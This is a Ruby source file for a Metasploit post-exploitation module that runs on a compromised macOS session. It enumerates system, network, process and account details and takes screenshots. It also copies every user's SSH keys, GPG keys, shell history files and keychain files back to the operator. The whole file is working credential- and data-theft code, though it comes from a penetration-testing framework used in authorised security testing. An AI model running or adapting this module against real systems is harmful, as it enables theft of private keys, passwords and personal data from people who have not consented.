##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OS X Gather Mac OS X System Information Enumeration',
        'Description' => %q{
          This module gathers basic system information from Mac OS X Tiger (10.4), through
          Mojave (10.14).
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
        'Platform' => [ 'osx' ],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK],
          'Reliability' => []
        }
      )
    )
  end

  def run
    case session.type
    when /meterpreter/
      host = sysinfo['Computer']
    when /shell/
      host = cmd_exec('hostname')
    end
    print_status("Running module against #{host}")
    if is_root?
      print_status('This session is running as root!')
    end

    ver_num = get_ver
    log_folder = log_folder_create
    enum_conf(log_folder)
    enum_accounts(log_folder, ver_num)
    get_crypto_keys(log_folder)
    screenshot(log_folder, ver_num)
    dump_bash_history(log_folder)
    get_keychains(log_folder)
  end

  # parse the dslocal plist in lion
  def read_ds_xml_plist(plist_content)
    require 'rexml/document'

    doc = REXML::Document.new(plist_content)
    keys = []

    doc.elements.each('plist/dict/key') do |element|
      keys << element.text
    end

    fields = {}
    i = 0
    doc.elements.each('plist/dict/array') do |element|
      data = []
      fields[keys[i]] = data
      element.each_element('*') do |thing|
        data_set = thing.text
        if data_set
          data << data_set.gsub("\n\t\t", '')
        else
          data << data_set
        end
      end
      i += 1
    end
    return fields
  end

  # Function for creating the folder for gathered data
  def log_folder_create(log_path = nil)
    # Get hostname
    case session.type
    when /meterpreter/
      host = Rex::FileUtils.clean_path(sysinfo['Computer'])
    when /shell/
      host = Rex::FileUtils.clean_path(cmd_exec('hostname'))
    end

    # Create Filename info to be appended to downloaded files
    file_name_info = '_' + ::Time.now.strftime('%Y%m%d.%M%S')

    # Create a directory for the logs
    if log_path
      logs = ::File.join(log_path, 'logs', 'enum_osx', host + file_name_info)
    else
      logs = ::File.join(Msf::Config.log_directory, 'post', 'enum_osx', host + file_name_info)
    end

    # Create the log directory
    ::FileUtils.mkdir_p(logs)
    return logs
  end

  # Checks if the target is OSX Server
  def check_server
    # Get the OS Name
    cmd_exec('/usr/bin/sw_vers', '-productName') =~ /Server/
  end

  # Enumerate the OS Version
  def get_ver
    # Get the OS Version
    cmd_exec('/usr/bin/sw_vers', '-productVersion')
  end

  def enum_conf(log_folder)
    profile_datatypes = {
      'OS' => 'SPSoftwareDataType',
      'Network' => 'SPNetworkDataType',
      'Bluetooth' => 'SPBluetoothDataType',
      'Ethernet' => 'SPEthernetDataType',
      'Printers' => 'SPPrintersDataType',
      'USB' => 'SPUSBDataType',
      'Airport' => 'SPAirPortDataType',
      'Firewall' => 'SPFirewallDataType',
      'Known Networks' => 'SPNetworkLocationDataType',
      'Applications' => 'SPApplicationsDataType',
      'Development Tools' => 'SPDeveloperToolsDataType',
      'Frameworks' => 'SPFrameworksDataType',
      'Logs' => 'SPLogsDataType',
      'Preference Panes' => 'SPPrefPaneDataType',
      'StartUp' => 'SPStartupItemDataType'
    }

    shell_commands = {
      'TCP Connections' => ['/usr/sbin/netstat', '-np tcp'],
      'UDP Connections' => ['/usr/sbin/netstat', '-np udp'],
      'Environment Variables' => ['/usr/bin/printenv', ''],
      'Last Boottime' => ['/usr/bin/who', '-b'],
      'Current Activity' => ['/usr/bin/who', ''],
      'Process List' => ['/bin/ps', '-ea']
    }

    print_status("Saving all data to #{log_folder}")

    # Enumerate first using System Profiler
    profile_datatypes.each do |name, datatypes|
      print_status("\tEnumerating #{name}")
      returned_data = cmd_exec("/usr/sbin/system_profiler #{datatypes}")
      # Save data lo log folder
      file_local_write(log_folder + "//#{name}.txt", returned_data)
    end

    # Enumerate using system commands
    shell_commands.each do |name, command|
      print_status("\tEnumerating #{name}")
      command_output = cmd_exec(command[0], command[1])
      # Save data lo log folder
      begin
        file_local_write(log_folder + "//#{name}.txt", command_output)
      rescue StandardError
        print_error("failed to run #{name}")
      end
    end
  end

  def enum_accounts(log_folder, ver_num)
    # Specific commands for Leopard and Snow Leopard
    leopard_commands = {
      'Users' => ['/usr/bin/dscacheutil', '-q user'],
      'Groups' => ['/usr/bin/dscacheutil', '-q group']
    }

    # Specific commands for Tiger
    tiger_commands = {
      'Users' => ['/usr/sbin/lookupd', '-q user'],
      'Groups' => ['/usr/sbin/lookupd', '-q group']
    }

    if ver_num =~ /10\.(7|6|5)/
      shell_commands = leopard_commands
    else
      shell_commands = tiger_commands
    end
    shell_commands.each do |name, command|
      print_status("\tEnumerating #{name}")
      command_output = cmd_exec(command[0], command[1])
      # Save data lo log folder
      file_local_write(log_folder + "//#{name}.txt", command_output)
    end
  end

  # Method for getting SSH and GPG Keys
  def get_crypto_keys(log_folder)
    # Run commands according to the session type
    if session.type =~ /shell/

      # Enumerate and retrieve files according to privilege level
      if !is_root?

        # Enumerate the home folder content
        home_folder_list = cmd_exec('/bin/ls -ma ~/').split(', ')

        # Check for SSH folder and extract keys if found
        if home_folder_list.include?('.ssh')
          print_status('.ssh Folder is present')
          ssh_folder = cmd_exec('/bin/ls -ma ~/.ssh').split(', ')
          ssh_folder.each do |k|
            next if k =~ /^\.$|^\.\.$/

            print_status("\tDownloading #{k.strip}")
            ssh_file_content = cmd_exec("/bin/cat ~/.ssh/#{k}")

            # Save data lo log folder
            file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", ssh_file_content)
          end
        end

        # Check for GPG and extract keys if found
        if home_folder_list.include?('.gnupg')
          print_status('.gnupg Folder is present')
          gnugpg_folder = cmd_exec('/bin/ls -ma ~/.gnupg').split(', ')
          gnugpg_folder.each do |k|
            next if k =~ /^\.$|^\.\.$/

            print_status("\tDownloading #{k.strip}")
            gpg_file_content = cmd_exec("/bin/cat ~/.gnupg/#{k.strip}")

            # Save data lo log folder
            file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", gpg_file_content)
          end
        end
      else
        users = []
        users_folder = cmd_exec('/bin/ls', '/Users')
        users_folder.each_line do |u|
          next if u.chomp =~ /Shared|\.localized/

          users << u.chomp
        end

        users.each do |u|
          user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(', ')
          if user_folder.include?("\.ssh")

            print_status(".ssh Folder is present for #{u}")
            ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").split(', ')
            ssh_folder.each do |k|
              next if k =~ /^\.$|^\.\.$/

              print_status("\tDownloading #{k.strip}")
              ssh_file_content = cmd_exec("/bin/cat /Users/#{u}/.ssh/#{k}")

              # Save data lo log folder
              file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", ssh_file_content)
            end
          end

          next unless user_folder.include?('.gnupg')

          print_status(".gnupg Folder is present for #{u}")
          gpg_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").split(', ')
          gpg_folder.each do |k|
            next if k =~ /^\.$|^\.\.$/

            print_status("\tDownloading #{k.strip}")
            gpg_file_content = cmd_exec("/bin/cat /Users/#{u}/.gnupg/#{k}")

            # Save data lo log folder
            file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", gpg_file_content)
          end
        end
      end
    end
  end

  # Method  for capturing screenshot of targets
  def screenshot(log_folder, ver_num)
    if ver_num =~ /10\.(7|6|5)/
      print_status('Capturing screenshot')
      picture_name = ::Time.now.strftime('%Y%m%d.%M%S')
      if is_root?
        print_status('Capturing screenshot for each loginwindow process since privilege is root')
        if session.type =~ /shell/
          loginwindow_pids = cmd_exec("/bin/ps aux \| /usr/bin/awk \'/name/ \&\& \!/awk/ \{print \$2\}\'").split("\n")
          loginwindow_pids.each do |pid|
            print_status("\tCapturing for PID:#{pid}")
            cmd_exec("/bin/launchctl bsexec #{pid} /usr/sbin/screencapture -x /tmp/#{pid}.jpg")
            file_local_write(log_folder + "//screenshot_#{pid}.jpg",
                             cmd_exec("/bin/cat /tmp/#{pid}.jpg"))
            cmd_exec("/usr/bin/srm -m -z /tmp/#{pid}.jpg")
          end
        end
      else
        cmd_exec('/usr/sbin/screencapture', "-x /tmp/#{picture_name}.jpg")
        file_local_write(log_folder + '//screenshot.jpg',
                         cmd_exec("/bin/cat /tmp/#{picture_name}.jpg"))
        cmd_exec('/usr/bin/srm', "-m -z /tmp/#{picture_name}.jpg")
      end
      print_status('Screenshot Captured')
    end
  end

  def dump_bash_history(log_folder)
    print_status('Extracting history files')
    users = []
    users_folder = cmd_exec('/bin/ls', '/Users')
    current_user = cmd_exec('/usr/bin/id', '-nu')
    users_folder.each_line do |u|
      next if u.chomp =~ /Shared|\.localized/

      users << u.chomp
    end

    # If we are root lets get root for when sudo was used and all users
    if current_user == 'root'

      # Check the root user folder
      root_folder = cmd_exec('/bin/ls -ma ~/').split(', ')
      root_folder.each do |f|
        next unless f =~ /\.\w*_history/

        print_status("\tHistory file #{f.strip} found for root")
        print_status("\tDownloading #{f.strip}")
        sh_file = cmd_exec("/bin/cat ~/#{f.strip}")

        # Save data lo log folder
        file_local_write(log_folder + "//root_#{f.strip}.txt", sh_file)
      end

      # Getting the history files for all users
      users.each do |u|
        # Lets get a list of all the files on the users folder and place them in an array
        user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(', ')
        user_folder.each do |f|
          next unless f =~ /\.\w*_history/

          print_status("\tHistory file #{f.strip} found for #{u}")
          print_status("\tDownloading #{f.strip}")
          sh_file = cmd_exec("/bin/cat /Users/#{u}/#{f.strip}")

          # Save data lo log folder
          file_local_write(log_folder + "//#{u}_#{f.strip}.txt", sh_file)
        end
      end

    else
      current_user_folder = cmd_exec('/bin/ls -ma ~/').split(', ')
      current_user_folder.each do |f|
        next unless f =~ /\.\w*_history/

        print_status("\tHistory file #{f.strip} found for #{current_user}")
        print_status("\tDownloading #{f.strip}")
        sh_file = cmd_exec("/bin/cat ~/#{f.strip}")

        # Save data lo log folder
        file_local_write(log_folder + "//#{current_user}_#{f.strip}.txt", sh_file)
      end
    end
  end

  # Download configured Keychains
  def get_keychains(log_folder)
    users = []
    users_folder = cmd_exec('/bin/ls', '/Users')
    users_folder.each_line do |u|
      next if u.chomp =~ /Shared|\.localized/

      users << u.chomp
    end
    if is_root?
      users.each do |u|
        print_status("Enumerating and Downloading keychains for #{u}")
        keychain_files = cmd_exec("/usr/bin/sudo -u #{u} -i /usr/bin/security list-keychains").split("\n")
        keychain_files.each do |k|
          keychain_file = cmd_exec("/bin/cat #{k.strip}")

          # Save data lo log folder
          file_local_write(log_folder + "//#{u}#{k.strip.gsub(/\W/, '_')}", keychain_file)
        end
      end
    else
      current_user = cmd_exec('/usr/bin/id -nu')
      print_status("Enumerating and Downloading keychains for #{current_user}")
      keychain_files = cmd_exec('/usr/bin/security list-keychains').split("\n")
      keychain_files.each do |k|
        keychain_file = cmd_exec("/bin/cat #{k.strip}")

        # Save data lo log folder
        file_local_write(log_folder + "//#{current_user}#{k.strip.gsub(/\W/, '_')}", keychain_file)
      end
    end
  end
end
